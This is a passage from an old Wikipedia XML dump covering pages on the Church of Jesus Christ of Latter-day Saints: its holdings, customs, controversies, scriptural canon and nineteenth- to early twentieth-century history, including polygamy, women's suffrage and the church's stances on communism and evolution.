* Deseret Cattle and Citrus Ranch in Orlando, Florida - the world's largest beef ranch at 312,000 acres (1260 km&amp;sup2;).  The land alone is worth an estimated $858 million.
* Farmland Reserve, Inc - recently purchased 88,000 acres (356 km&amp;sup2;) in Nebraska bringing its total in Nebraska to 228,000 acres (923 km&amp;sup2;) second in Nebraska to Ted Turner's 290,000.
* Polynesian Cultural Center, Hawaii - the leading for-profit visitor attraction in Hawaii.

The Church uses its financial resources to provide social welfare and relief, build facilities, maintain the missionary program, and support Church sponsored programs.  

:'''Provide for Social welfare and relief''' - 
:The Church operates a welfare distribution system, as it encourages members to seek financial assistance from family and church first before seeking public or state-sponsored welfare.  AgReserves Inc., Deseret Cattle and Citrus Ranch, and Farmland Reserve, Inc. are part of its welfare distribution system. Welfare resources are distributed by local [[Bishop (Mormonism)|bishops]] but maintained by the [[Presiding Bishop]]. (See &quot;Preparedness&quot; under the &quot;Other Practices&quot; section.)

:'''Build facilities''' - 
:The Church builds additional chapels and temples as [[Ward (Mormonism)|wards and branches]] of the Church are organized. A recent temple building program concluded in 2001 where the church built about 40 smaller temples between 1998 and 2001. The church currently has 122 temples around the world with 11 additional temples either announced or under construction. See [http://www.lds.org/temples/chronological/0,11206,1900-1,00.html chronological list of temples].

:'''Maintain its missionary program''' - 
:Although the families of missionaries generally pay $400 a month for missions, additional general funds of the Church support missionaries unable to pay for their own missions. Additionally, the Church provides a mission office and mission home for each of its 300 missions and pays for television advertising offering free copies of the [[Book of Mormon]], the [[Bible]], videos, etc.  

:'''Support Church sponsored programs''' -
:The Church owns and subsidizes education at its three Universities (see [[#Education|Education]] above). It also supports [[Boy Scouts]] programs for young men and Seminary and Institute programs.

== LDS Customs ==

===Titles===
Members of The Church of Jesus Christ of Latter-day Saints address each other as &quot;Brother&quot; or &quot;Sister&quot; and then usually append the last name (such as Brother Smith, or Sister Young). Additionally, those that hold specific leadership positions may be addressed by their title and then their last name (such as President Kimball). Some frequently-used titles are as follows.
* '''Bishop''' - Local [[Bishop (Mormonism)|Bishop]]s of a ward are addressed by the title of &quot;Bishop&quot;. Though he is assisted by two counselors, the counselors are addressed as &quot;Brother So-and-So.&quot;  Generally, the title is always used when referring to a bishop, even when the bishop has ceased serving as the active leader of the ward.  There is a position in the LDS church referred to as the Presiding Bishop.  He and his counselors are referred to as &quot;Bishop So-and-So&quot;.  The Presiding Bishop oversees the welfare services of the Church.
* '''Elder''' - While most adult male Church members hold the office of &quot;[[Elder (Mormonism)|elder]]&quot; in the [[Melchizedek Priesthood]], in general only full-time male missionaries (proselyting or service), members of any of the [[Quorums of the Seventy|Quorums of the Seventy]] (General &amp; Area Authorities), and members of the [[Quorum of the Twelve Apostles|Quorum of the Twelve]] are addressed with this title.
* '''President''' - In a Ward, the Elder's [[Quorum (Mormonism)|Quorum]] President is referred to as &quot;President So-and-So&quot;. Other presidents within the ward, such as the Teachers or Deacons Quorum President, may be referred to with this title. In addition to the above presidencies, in a branch, the branch president and his councilors are referred to as &quot;President So-and-So&quot;. All members of a [[Stake]] (or [[District]]) Presidency, a [[Temple (Mormonism)|Temple]] Presidency, a Mission Presidency, the Presidency of the Seventy, and the First Presidency are referred to as president.

===Public Speaking===
The Church of Jesus Christ of Latter-day Saints has a long and rich tradition of public speaking.  Many of the early Church members -- and especially leaders -- were gifted orators and many were skilled in debate.  Public speaking was common for both leaders and lay members.  This speaking tradition continues even today.  For example, during worship services on the first Sunday of each month, members of the [[congregation (worship)|congregation]] are invited to share their testimonies of the [[Gospel]], faith-building experiences, and other uplifting messages with the other members of the congregation.  

On each of the other Sundays during the month, members of the congregation are selected in advance to give a &quot;talk&quot; (the LDS equivalent of a &quot;sermon&quot;) on a particular Gospel principle or topic.  Often the congregation will hear from one or two youth speakers and one or two adult speakers during these meetings.  

Church leaders and missionaries are also encouraged to speak boldly and freely about the Gospel, and are often given opportunities for extemporaneous public speaking on various Gospel subjects.  

Since the early days of the Church, talks given by leaders (especially those given in the Church's bi-annual [[General conference (Mormonism)|General Conference]] meetings) have been recorded and widely distributed in written format.  A digitized collection of these talks dating back to 1971 is available on the [http://library.lds.org/nxt/gateway.dll?f=templates$fn=default.htm lds.org] website, and talks dating back to the 1800s are available in printed format through various University and community libraries.  In recent years the LDS Church and Brigham Young University have also made audio and video versions of selected talks freely available on their websites.  See [http://www.lds.org/mp3/newarchive/0,18615,5249-1,00.html lds.org], [http://byubroadcasting.org/devotionals/ byu.edu], and [http://www.ldsvoices.com ldsvoices.com] for a collection of audio and video resources.

=== Genealogy ===
[[Genealogy|Genealogical]] research is an important aspect of [[Latter-day Saint]] tradition, stemming from a doctrinal mandate for church members to research their family tree and perform vicarious ordinances for their ancestors. In addition to the more common events that genealogy records typically contain (such as births, deaths, and marriages), church records also contain details regarding the dates of [[Baptism for the dead|baptism]], [[Endowment (Mormonism)|endowment]], and [[sealing (Mormonism)|sealing]] to spouse, parent, and child, as well as the [[temple (Mormonism)|temple]] in which each vicarious [[ordinance (Mormonism)|ordinance]] occurred. The advent of [[personal computer]]s prompted the church to create a specialized [[file format]] known as [[GEDCOM]] for storing and exchanging these records. Since then, GEDCOM has become a [[de facto]] standard that almost all genealogy [[computer program|programs]] support. The church has also created and maintains a website for searching geneological records called [http://www.familysearch.org/ FamilySearch].

==Criticism and Controversy==
''Main article: [[Controversies regarding The Church of Jesus Christ of Latter-day Saints]]''

Many doctrines and practices of the church, both past and present, are viewed by many as controversial:
*The church claims to be the exclusive restoration of the church founded by Jesus Christ and the sole source of priesthood authority necessary for ordinances of salvation (such as baptism). This has led to extensive criticism from Protestant, Catholic, and Orthodox Christians, some of which label it a &quot;[[cult]]&quot;, &quot;[[sect]],&quot; or &quot;[[heresy|heretical]]&quot;; the church denies that any of these terms are applicable. This is consistent with different factions of Christianity labeling each other cults, sects, or heresies throughout Christian history.
*The idea that mankind has the potential to become as God and inherit all that He has. This teaching is complementary to the idea that all people are literal children of &quot;Heavenly Parents,&quot; and is similar to early Christian concepts of [[theosis]]. 
*The historical legitimacy of the Book of Mormon; there has been much contention over the accuracy of some of its archaeological and historical elements.  (See &quot;[[Archaeology and the Book of Mormon]]&quot; and &quot;[[Linguistics and the Book of Mormon]]&quot;.)
*The idea that man is created in the physical image of God, as taught in &quot;The Origin of Man,&quot; a statement that became controversial during evolution trials during the early 20th century amid the [[Scopes Trial]]. 
*[[Polygamy]] has arguably sparked the most controversy. Some people still practice it today and consider themselves [[Mormons]], but they have been [[excommunicated]] from The Church of Jesus Christ of Latter-day Saints ever since it forbade the practice with the [[1890 Manifesto]].
*The Church's belief structure involves topics that are now of a political nature, such as [[Prohibition]], [[Communism]], [[euthanasia]], and [[same-sex marriage]], and the Church will occassionally release an official statement pertaining to such topics.  However, individual members are free to agree or disagree with these positions, provided they do not claim to represent the Church in the process.
*Previous withholding of the priesthood from black members.  Though baptism was always open to people of all races and worship took place in unsegregated congregations, men of African descent were not ordained to the priesthood, and no one of African descent was allowed to participate in temple marriage (those previously excluded can now receive a temple marriage). On June 9, 1978, a new revelation was announced, permitting any &quot;worthy&quot; male to receive the Priesthood. (See ''[[Blacks and Mormonism]]'' for more complete discussion of this issue.)*Cultural preservation and educational programs including the [[Polynesian Cultural Center]] and the [[Indian Placement Program]]. 
*[[The Family: A Proclamation to the World]] is an official statement from [[1995]] that some people find controversial. The proclamation calls for the preservation of the traditional family, sometimes referred to as the [[Nuclear family]], consisting of a father and a mother who assume the traditional roles of provider and nurturer, respectively. It has been labeled as a homophobic statement by some [[Gay rights|gay activists]].  Others believe this statement to be openly against [[feminism]] (see [[Women and the Church of Jesus Christ of Latter-day Saints]]).

==See also==
*[[Criticism of Mormonism]]
*[[List of temples of The Church of Jesus Christ of Latter-day Saints]]
*[[Mormonism and Freemasonry]]
*[[Exmormon]]
*[[Mormon]]
*[[Mormon (disambiguation)]]
*[[Mormon apologetics]]
*[[Mormonism]]
*[[Mountain Meadows Massacre]]
*[[Temple (Mormonism)]]

== External links ==
&lt;!-- PLEASE read the discussion page before adding to these or editing these. --&gt;

===Official websites of the Church===
&lt;!-- PLEASE read the discussion page before adding to these or editing these. --&gt;
====Primary websites====
* [http://lds.org LDS.org] - the official website of The Church of Jesus Christ of Latter-day Saints &amp;mdash; with links to Gospel Library, Church History, Family Home Evening programs, and more
* [http://mormon.org Mormon.org] - information on basic beliefs, a meetinghouse locator, and a place to email questions
* [http://www.familysearch.org FamilySearch.org] - A church sponsered geneological research site where anyone can search for ancestors
* [http://www.josephsmith.net JosephSmith.net] - the official web site on Joseph Smith by the Church
* [http://providentliving.org ProvidentLiving.org] - spiritual and temporal welfare provided by the Church

===Additional websites===
* {{gutenberg author| id=Church+of+Jesus+Christ+of+Latter-day+Saints | name=Church of Jesus Christ of Latter-day Saints}}

* '''Church-friendly websites, unaffiliated with the Church:'''
&lt;!-- PLEASE read the discussion page before adding to these or editing these. --&gt;
** [http://www.ldstoday.com/ LDS Today] - news related to The Church of Jesus Christ of Latter-day Saints
** [http://www.meridianmagazine.com Meridian Magazine] - webzine for Latter-day Saints; updated every weekday
** [http://www.mormonwiki.com Mormon wiki] - wiki for and supported by Latter-day Saints
** [http://www.nauvoo.com Nauvoo.com] - a gathering place for Latter-day Saints, including discussion forums, owned by LDS author Orson Scott Card
** [http://ldsfaq.byu.edu/ LDSFAQ at byu.edu] - a comprehensive index answering many common questions. Uses large portions of The Encyclopedia of Mormonism
** [http://www.desertsaintsmagazine.com/ Desert Saints Magazine] A magazine for friends and members of the Church
&lt;!-- The website www.stay-lds.com cannot be considered pro-LDS or even objective. It is full of sarcasm and ad hominem. Please do not post it here again. --&gt; 
&lt;!-- PLEASE read the discussion page before adding to these or editing these. --&gt;

* '''Scholarly Forums'''
** [http://www.farmsresearch.com/ FARMS] - Foundation for Ancient Research and Mormon Studies (BYU)
**[http://www.dialoguejournal.com Dialogue: A Journal of Mormon Thought] Read 40 years of the best Mormon studies by top LDS Scholars, Researchers, and Writers on all topics that relate to the Mormon experience. 
**[http://www.genesoc.com/mssa/ Mormon Social Science Association]
**[http://www.aml-online.org The Association for Mormon Letters]
**[http://www.mhahome.org/ The Mormon History Association]
**[http://www.signaturebookslibrary.org/ Essays on Mormonism]
**[http://www.sunstoneonline.com SunstoneOnline.com] - for open, frank approaches to contemporary Mormon experience, scholarship, issue, and art

== Footnotes ==
* {{fnb|1}} [http://ldsfaq.byu.edu/view.asp?q=426 Brigham Young University's LDS FAQ]

[[Category:Mormonism]]
[[Category:Christian denominations]]
[[Category:Latter Day Saint denominations]]
[[Category:Churches in the United States]]

[[zh-min-nan:Iâ-so• Ki-tok Āu-kî Sèng-tô· Kàu-hōe]]
[[ca:Església de Jesucrist dels Sants dels Últims Dies]]
[[cs:Církev Ježíše Krista Svatých posledních dnů]]
[[cy:Eglwys Iesu Grist a Saint y Dyddiau Diweddaf]]
[[da:Jesu Kristi Kirke af Sidste Dages Hellige]]
[[de:Kirche Jesu Christi der Heiligen der Letzten Tage]]
[[es:Iglesia de Jesucristo de los Santos de los Últimos Días]]
[[fr:Église de Jésus-Christ des Saints des Derniers Jours]]
[[he:הכנסייה המורמונית]]
[[ia:Ecclesia de Jesus Christo del Sanctos del Ultime Dies]]
[[id:Gereja Mormon]]
[[ja:末日聖徒イエス・キリスト教会]] 
[[no:Jesu Kristi Kirke av Siste Dagers Hellige]]
[[pl:Kościół Jezusa Chrystusa Świętych w Dniach Ostatnich]]
[[pt:Igreja de Jesus Cristo dos Santos dos Últimos Dias]]
[[ru:Мормоны]]
[[scn:Chiesa di Gesù Cristu dî Santi di l'Ùrtimi Jorna]]
[[sv:Jesu Kristi kyrka av sista dagars heliga]]
[[vi:Giáo hội Các Thánh hữu Ngày sau của Chúa Giêsu Kitô]]
[[zh:耶穌基督後期聖徒教會]]</text>
    </revision>
  </page>
  <page>
    <title>Chemical thermodynamics</title>
    <id>5936</id>
    <revision>
      <id>15904107</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Thermochemistry]]

</text>
    </revision>
  </page>
  <page>
    <title>Standard Works</title>
    <id>5938</id>
    <revision>
      <id>41679099</id>
      <timestamp>2006-03-01T00:37:11Z</timestamp>
      <contributor>
        <username>Blainster</username>
        <id>31831</id>
      </contributor>
      <comment>link gazeteer; note single binding available; clarify status of Apocrypha</comment>
      <text xml:space="preserve">The '''Standard Works''' of the [[Church of Jesus Christ of Latter-day Saints]] (LDS Church) consists of several books that constitute its [[continuous revelation|open]] [[sacred text|scriptural]] [[biblical canon|canon]], and include the following:

*The [[Bible|Holy Bible (King James version)]]* 
*The [[Book of Mormon|Book of Mormon: Another Testament of Jesus Christ]]
*The [[Doctrine and Covenants]]
*The [[Pearl of Great Price (Mormonism)|Pearl of Great Price]]

:&lt;small&gt;&lt;nowiki&gt;*&lt;/nowiki&gt;The LDS Church uses the current edition of the [[King James Version]] (KJV) in English-speaking countries, although other versions may be used.&lt;/small&gt;

The Standard Works are available as a single binding. Current editions of the standard works include a Bible dictionary, photographs, maps and [[gazeteer]], topical guide, index, footnotes, cross references, excerpts from the [[Joseph Smith Translation of the Bible]] (JST) and other study aids.

The Church does not currently use the [[Apocrypha]] as part of its canon, although the Apocrypha was part of the 1611 edition of the KJV. Joseph Smith taught that the contemporary edition of the Apocrypha had been corrupted as he believed the KJV to be [http://scriptures.lds.org/dc/91], but it was not included in his retranslation of the Bible ''(see [[Joseph Smith Translation]])'' and not relied on for doctrine. 

==External links==
* The complete text of the LDS editions of these books are available online at http://scriptures.lds.org

[[Category:Latter Day Saint texts]]</text>
    </revision>
  </page>
  <page>
    <title>Temples of the Church of Jesus Christ of Latter-day Saints</title>
    <id>5940</id>
    <revision>
      <id>15904111</id>
      <timestamp>2005-02-09T21:01:00Z</timestamp>
      <contributor>
        <username>John Hamer</username>
        <id>163947</id>
      </contributor>
      <comment>Moved content to Temple (Mormonism)</comment>
      <text xml:space="preserve">#REDIRECT [[Temple (Mormonism)]]</text>
    </revision>
  </page>
  <page>
    <title>History of the Church of Jesus Christ of Latter-day Saints</title>
    <id>5942</id>
    <revision>
      <id>41530228</id>
      <timestamp>2006-02-27T23:44:41Z</timestamp>
      <contributor>
        <username>DevLaVaca</username>
        <id>1002430</id>
      </contributor>
      <comment>/* Brigham Young's early theocratic leadership */</comment>
      <text xml:space="preserve">{{Template:LDS}}
The early '''history of [[The Church of Jesus Christ of Latter-day Saints]]''' is shared by the larger [[Latter Day Saint movement]], which originated in upstate New York under the leadership of [[Joseph Smith, Jr.]]. With the important assistance of [[Oliver Cowdery]] and [[Sidney Rigdon]], Smith dictated and published works of scripture, claimed to be visited by angels, and formed a new church. In part because of the rapid growth of the movement, and in part because of its distinct doctrines and practices, the early [[Latter Day Saint]]s encountered opposition wherever they gathered in numbers.  In the first decades of their history, they gathered to and were driven from [[Kirtland, Ohio]], [[Independence, Missouri]], [[Far West, Missouri]], and [[Nauvoo, Illinois]].  Finally, on [[July 26]], [[1844]], their founding prophet was assassinated in a prison at [[Carthage, Illinois]].

After the death of [[Joseph Smith, Jr.]], there was some confusion over who should be his successor, leading to the formation of several factions. The largest group of [[Mormons]] followed [[Brigham Young]], the [[President of the Quorum of the Twelve Apostles]].  A significant fraction, including the majority of Joseph Smith's family, followed other leaders, such as [[James J. Strang]], [[Sidney Rigdon]], [[Alpheus Cutler]], [[Lyman Wight]], [[William Smith (Mormonism)|William Smith]], and [[Granville Hedrick]].  Eventually, many of the scattered Latter Day Saints coalesced behind Joseph Smith's son [[Joseph Smith III]] to form the Reorganized Church of Jesus Christ of Latter Day Saints, now the [[Community of Christ]], the second-largest Mormon denomination today.

''See'' '''[[History of the Latter Day Saint movement]].'''

==Migration to Utah and Colonization of the West (c. 1846 to c. 1856)==

Under the leadership of [[Brigham Young]], Church leaders planned to leave [[Nauvoo, Illinois]] in April of 1846, but amid threats from the state militia, they were forced to cross the Mississippi River in the cold of February. They eventually left the boundaries of the United States to what is now [[Utah]] where they founded [[Salt Lake City]].

The groups that left Illinois for Utah became known as the [[Mormon Pioneer]]s and forged a path to Salt Lake City known as the [[Mormon Trail]]. The arrival of the original Mormon Pioneers in the Salt Lake Valley on [[July 24]], [[1847]] is commemorated by the Utah State holiday Pioneer Day.

Groups of converts from the United States, Canada, Europe, and elsewhere were encouraged to gather to Utah in the decades following.  Both the original Mormon migration and subsequent convert migrations resulted in much sacrifice and quite a number of deaths.  Brigham Young organized a great colonization of the American West, with Mormon settlements extending from Canada to Mexico.  Notable cities that sprang from early Mormon settlements include [[San Diego, California]] and [[Las Vegas, Nevada]].

===Brigham Young's early theocratic leadership===
Following the death of Joseph Smith, Brigham Young stated that the Church should be led by the Quorum of the Twelve Apostles (see [[Succession crisis %28Mormonism%29#Conference of August 8, 1844|Succession Crisis]]). Later, after the migration to Utah had begun, Brigham Young was sustained as a member of the [[First Presidency]] on December 25, 1847, (Wilford Woodruff Diary, Church Archives), and then as [[President of the Church (Mormonism)|President of the Church]] on October 8, 1848.  (Roberts, Comprehensive History of the Church, 3:318).

One of the reasons the Saints had chosen the Great Basin as a settling place was that the area was at the time outside the territorial borders of the [[United States]], which Young had blamed for failing to protect Mormons from political opposition from the states of [[Missouri]] and [[Illinois]]. However, in the [[1848]] [[Treaty of Guadalupe Hidalgo]], [[Mexico]] [[Mexican Cession|ceded]] the area to the United States. As a result, Brigham Young sent emissaries to [[Washington, D.C.]] with a proposal to create a vast [[State of Deseret]], of which Young would naturally be the first governor. Instead, however, Congress created the much smaller [[Utah Territory]] in [[1850]], and Young was appointed governor in [[1851]]. Because of his religious position, however, Young exercised much more practical control over the affairs of Mormon and non-Mormon settlers than a typical territorial governor of the time.

==The Church's attempt to restructure society on the fringes of the United States (c. 1856 to c. 1890)==

===The Mormon Reformation===
In 1856-1858, the Church underwent what is commonly called the Mormon Reformation. ''See'' Peterson, Paul H. &quot;The Mormon Reformation of 1856-1857: The Rhetoric and the Reality.&quot; 15 ''Journal of Mormon History'' 59-87 (1989).

===Early political conflicts between Mormons and outsiders===
*Early political leadership by Brigham Young

In 1857-1858, the Church was involved in a bloodless conflict with the U.S. government, entitled the [[Utah War]].

*Instatement of a non-Mormon territorial governor

In September 1857, paranoia over the Utah War led local officials in southern Utah to join with Indians to massacre a company of settlers traveling from Arkansas.  See [[Mountain Meadows Massacre]].

===Brigham Young's later years===

====The church's final attempt to establish the United Order====
''Main article: [[United Order]]''

The church had attempted unsuccessfully to institute the [[United Order]] numerous times, most recently during the [[Mormon Reformation]]. In [[1874]], Young once again attempted to establish a permanent Order, which he now called the '''United Order of Enoch''' in at least 200 Mormon communities, beginning in [[St. George, Utah]] on [[February 9]], [[1874]].

There were a number of differences between the United Order of Enoch and the United Order established years earlier by Joseph Smith. In most cases, the United Order of Enoch was not a true [[religious communism]] as envisioned by Joseph Smith (with the notable exception of the organization established in [[Orderville, Utah]]), but was instead a producer [[cooperative]]. In Young's Order, producers would generally deed their property to the Order, and all members of the order would share the cooperative's net income, often divided into shares according to how much property was originally contributed. Sometimes, the members of the Order would receive wages for their work on the communal property.

Like the United Order established by Joseph Smith, Young's Order was short-lived. By the time of Brigham Young's death in [[1877]], most of these United Orders had failed. By the end of the [[19th Century]], the Orders were essentially extinct.

====The death of Brigham Young====
Brigham Young died in August 1877.

After the death of Brigham Young, the First Presidency was not reorganized until [[1880]], when Young was succeeded by President [[John Taylor (1808-1887)|John Taylor]], who in the interim had served as [[President of the Quorum of the Twelve Apostles]].

===Polygamy and the United States &quot;Mormon question&quot;===
''Main article: [[Plural marriage]]''

For several decades, polygamy was preached as [[God]]'s law. [[Brigham Young]], the Prophet of the church at that time, had quite a few wives, as did many other church leaders. The general membership required special authorization from their priesthood leader to engage in polygamy and such permission was granted sparsely (estimates say between 1% and 5% of the male membership).

This early practice of [[polygamy]] caused conflict between church members and the wider American society. In [[1854]] the Republican party referred in its platform to polygamy and [[slavery]] as the &quot;twin relics of barbarism.&quot; In [[1862]], the [[Congress of the United States|U.S. Congress]] enacted the [[Morrill Act]], signed by [[Abraham Lincoln]], which made bigamy a felony in the territories punishable by $500 or five years in prison. The law also permitted the confiscation of church property without just compensation. This law was not enforced however, by the Lincoln administration or by Mormon-controlled territorial probate courts. Moreover, as Mormon polygamist marriages were performed in secret, it was difficult to prove when a polygamist marriage had taken place. In the meantime, Congress was preoccupied with the [[American Civil War]].

In [[1874]], after the war, Congress passed the [[Poland Act]], which transferred jurisdiction over Morrill Act cases to federal prosecutors and courts, which were not controlled by Mormons. In addition, the Morrill Act was upheld in [[1878]] by the [[Supreme Court of the United States|United States Supreme Court]] in the case of ''[[Reynolds v. United States]]''. After ''Reynolds'', Congress became even more aggressive against polygamy, and passed the [[Edmunds-Tucker Act|Edmunds Act]] in [[1882]]. The Edmunds Act prohibited not just bigamy, which remained a felony, but also bigamous cohabitation, which was prosecuted as a misdemeanor, and did not require proof an actual marriage ceremony had taken place. The Act also vacated the [[Territory of Utah|Utah territorial]] government, created an independent committee to oversee elections to prevent Mormon influence, and disenfranchised any former or present polygamist. Further, the law allowed the government to deny civil rights to polygamists without a trial.

The Edmunds Act only made the Mormon leadership more determined to continue the practice of polygamy. On [[October 13]], [[1882]], church [[President of the Church (Mormonism)|president]] [[John Taylor (1808-1887)|John Taylor]] pronounced a revelation (included in five foreign editions of the ''[[Doctrine and Covenants]]'', but not in any English-language edition), which required ''all'' [[Priesthood (Latter-day Saint)|priesthood]] officers to begin practicing polygamy if they had not already done so.

In [[1887]], Congress passed the [[Edmunds-Tucker Act]], which allowed prosecutors to force plural wives to testify against their husbands, abolished the right of women to vote, disincorporated the church, and confiscated the church's property. By this time, many church leaders had gone into hiding to avoid prosecution, and half the Utah prison population was composed of polygamists.

Thus, under extreme pressure by the United States, church leadership officially ended the practice in [[1890]], based on a revelation by [[Wilford Woodruff]], a position which also allowed [[Utah]] to be granted U.S. statehood in [[1896]]. However, polygamy continued to be unofficially sanctioned or allowed by members of the [[First Presidency]] at least into the first decade of the [[20th Century]], with many polygamous marriages taking place in [[Mexico]] to avoid legal complications. (Quinn 1985). The Church practice of unofficially sanctioning allowing new polygamous marriages ended by about [[1910]]. At about the same time, the church prohibited its members from cohabiting with plural wives to which they had previously been married.

In modern times, the Church has consistently excommunicated all its members who have attempted to marry more than one wife, or to cohabitate with a plural wife. Although there were rare tacitly-accepted polygamous cohabitations by active church members as late as [[1930]], in [[1935]], the state of [[Utah]] made polygamous cohabitation a felony. Therefore, there have been no active polygamists in [[Church of Jesus Christ of Latter-day Saints|The Church of Jesus Christ of Latter-day Saints]] for several generations. Moreover, in the [[21st Century]], the Church has officially endorsed an amendment to the U.S. Constitution forever banning marriage except between one man and one woman. Nevertheless, the church has never abandoned its practice of performing polygamous ''[[Sealing (Mormonism)|sealings]]'', in which a widower can be sealed to a second wife after the first wife dies. According to widely-accepted [[Mormon]] belief, a trio thus formed will begin a polygamous relationship in the afterlife.

==The Church and the modern world (c. 1890 to c. 1960)==
When the Church renounced polygamy in [[1890]], and Utah received statehood in [[1896]], Latter-day Saints for the first time saw an opportunity to begin entering the modern American mainstream.

===The beginnings of Mormon involvement in and attention to national politics===
Until about [[1890]], Utah politics was divided between the Mormon People's party (composed of Mormons) and the Gentile Liberal party (composed of non-Mormons). After the [[1890]] Manifesto, Mormons began their involvement in both the [[United States Republican Party]] and [[United States Democratic Party]].

In [[1898]], [[Utah]] elected general authority [[B.H. Roberts]] to the [[United States House of Representatives]] as a Democrat. Roberts, however, was denied a seat there because he was practicing polygamy.

====Mormons and the women's suffrage movement====
As a result of the church's practice of [[polygamy]], and the fact that women were a large untapped demographic group in [[Utah]], [[women's suffrage]] was always in the best political interests of the Church. Thus, in [[1870]], the [[Utah Territory]] had become one of the first polities to grant women the right to vote—a right which the [[U.S. Congress]] revoked in [[1887]] as part of the [[Edmunds-Tucker Act]].

As a result, a number of LDS women became active and vocal proponents of women's rights. Of particular note was the LDS journalist and suffragist [[Emmeline B. Wells|Emmeline Blanch Wells]], editor of the ''[[Woman's Exponent]]'', a Utah feminist newspaper. Wells, who was both a [[feminism|feminist]] and a polygamist, wrote vocally in favor of a woman's role in the political process and public discourse. National suffrage leaders, however, were somewhat perplexed by the seeming paradox between Utah's progressive stand on women's rights, and the church's stand on polygamy.

In [[1890]], after the church officially renounced polygamy, U.S. suffrage leaders began to embrace Utah's feminism more directly, and in [[1891]], Utah hosted the Rocky Mountain Suffrage Conference in [[Salt Lake City]], attended by such national feminist leaders as [[Susan B. Anthony]] and [[Anna Howard Shaw]]. The Utah Woman Suffrage Association, which had been formed in [[1889]] as a branch of the American Woman Suffrage Association (which in [[1890]] became the [[National American Woman Suffrage Association]]), was then successful in demanding that the constitution of the nascient state of [[Utah]] should enfranchise women. In [[1896]], [[Utah]] became the third state in the [[U.S.]] to grant women the right to vote.

====Mormons and the debate over temperance and prohibition====
The LDS church was actively involved in support of the [[temperance movement]] in the [[19th Century]], and then the prohibition movement in the early [[20th Century]].

====Mormonism and the national debate over socialism and communism====
Mormonism has had a mixed relationship with [[socialism]] in its various forms. In the earliest days of [[Mormonism]], [[Joseph Smith, Jr.]] had established a form of [[religious communism]], an idea made popular during the [[Second Great Awakening]], combined with a move toward [[theocracy]]. Mormons referred to this form of theocratic communism as the [[United Order]], or the [[Law of Consecration]]. While short-lived during the life of Joseph Smith, the United Order was re-established for a time in several communities of [[Utah]] during the theocratic political leadership of [[Brigham Young]].

In addition to religious socialism, many [[Mormons]] in [[Utah]] were receptive to the secular [[socialism|socialist]] movement that began in America during the [[1890]]s. During the [[1890]]s to the [[1920]]s, the Utah Social Democratic Party, which became part of the [[Socialist Party of America]] in [[1901]], elected about 100 socialists to state offices in [[Utah]]. An estimated 40% of Utah Socialists were Mormon.

While religious and secular socialism gained some acceptance among Mormons, the Church was more circumspect about [[Marxism|Marxist]] [[Communism]], because of its association with violent revolution. From the time of [[Joseph Smith, Jr.]], the church had taken a favorable view as to the [[American Revolution]] and the necessity at times to violently overthrow the government. Thus, in [[1917]], after the [[Russian Revolution of 1917|Russian Revolution]], LDS [[Quorum of the Twelve Apostles|apostle]] [[David O. McKay]] initially told an audience in general conference that &quot;It looks as if Russia will have a government 'by the people, of the people, and for the people.&quot; ([[April 7]], [[1917]] Conference Report).

Eventually, however, the Church began to view the revolutionary nature of [[Communism]] as a threat to the [[United States Constitution]], which the Church respected about as much as it respected American revolutionaries. In [[1936]], the [[First Presidency]] issued a statement stating:

:[I]t would be necessary to destroy our government before communism could be set up in the United States.

:Since Communism, established, would destroy our American Constitutional government, to support communism is treasonable to our free institutions, and no patriotic American citizen may become either a communist or supporter of communism. . . .

:Communism being thus hostile to loyal American citizenship and incompatible with true Church membership, of necessity no loyal American citizen and no faithful Church member can be a Communist. (First Presidency, &quot;Warning to Church Members,&quot; July 3, 1936, ''Improvement Era'' 39, no. 8 (August 1936): 488).

As an extension of the Church's opposition to revolutionary [[Marxism]] beginning in [[1936]], modern [[Latter-day Saints]] generally focus on the ''differences'' between secular communism and the [[religious communism]] of the religion's early years. While both economic systems abolish the private ownership of property, many Mormons feel that communal ownership of property by a church or theocracy is fundamentally different, and even diametrically opposed to, communal ownership by a non-theocratic government. The point has frequently been raised that entry into the various Mormon systems of communism has always been voluntary: while one could always choose to leave the religion, one could not always choose to leave the jurisdiction of a secular communist system.

===The effect of modernism on Mormon doctrine===
&lt;!--Influence of Roberts, Talmage, Widtsoe, and Joseph Fielding Smith--&gt;
Beginning soon after the turn of the Twentieth Century, four influential Latter-day Saint scholars began to systematize, modernize, and codify Mormon doctrine:  B.H. Roberts, James E. Talmage, John A. Widtsoe, and Joseph Fielding Smith.

====The Church and scientific rationalism====
In 1921, the church called chemistry professor [[John Andreas Widtsoe]] as an apostle. Widtsoe's writings, particularly ''Rational theology'' and ''Joseph Smith as Scientist'', reflected the optimistic faith in science and technology that was pervasive at the time in American life. According to Widtsoe, all Mormon theology could be reconciled within a rational, positivist framework.

====The Church and evolution====
The issue of evolution has been a point of controversy within the Church.  The first official statement on the issue of evolution was in [[1909]], which marked the centennial of [[Charles Darwin]]'s birth and the 50th anniversary of his masterwork, the ''[[Origin of Life]]''. On that year, the [[First Presidency]] led by [[Joseph F. Smith]] as President, issued a statement reinforcing the predominant religious view of [[creationism]], and calling human evolution one of the &quot;theories of men&quot;, but falling short of declaring evolution untrue or evil. &quot;It is held by some&quot;, they said, &quot;that Adam was not the first man upon the earth, and that the original human was a development from lower orders of the animal creation. These, however, are the theories of men.&quot; Notably, the Church did not opine on the evolution of animals other than humans, nor did it endorse a particular theory of creationism.

Soon after the [[1909]] statement, [[Joseph F. Smith]] professed in certain editorials that &quot;the Church itself has no philosophy about the ''modus operandi'' employed by the Lord in His creation of the world. (''Juvenile Instructor'', 46 (4), 208-209 (April 1911), and that various possibilities for such creation might have included the idea that Adam and Eve: (1) &quot;evolved in natural processes to present perfection&quot;, (2) were &quot;transplanted [to earth] from another sphere&quot; ('''see, e.g., [[Adam-God theory]]'''), or (3) were &quot;born here . . . as other mortals have been.&quot; (''[[Improvement Era]]'' 13, 570 (April 1910).

In [[1925]], as a result of publicity from the [[Scopes Trial|&quot;Scopes Monkey Trial&quot;]] concerning the right to teach evolution in [[Tennessee]] public schools, the [[First Presidency]] reiterated its [[1909]] stance, stating that &quot;The Church of Jesus Christ of Latter-day Saints, basing its belief on divine revelation, ancient and modern, declares man to be the direct and lineal offspring of Deity. . . . Man is the child of God, formed in the divine image and endowed with divine attributes.&quot;

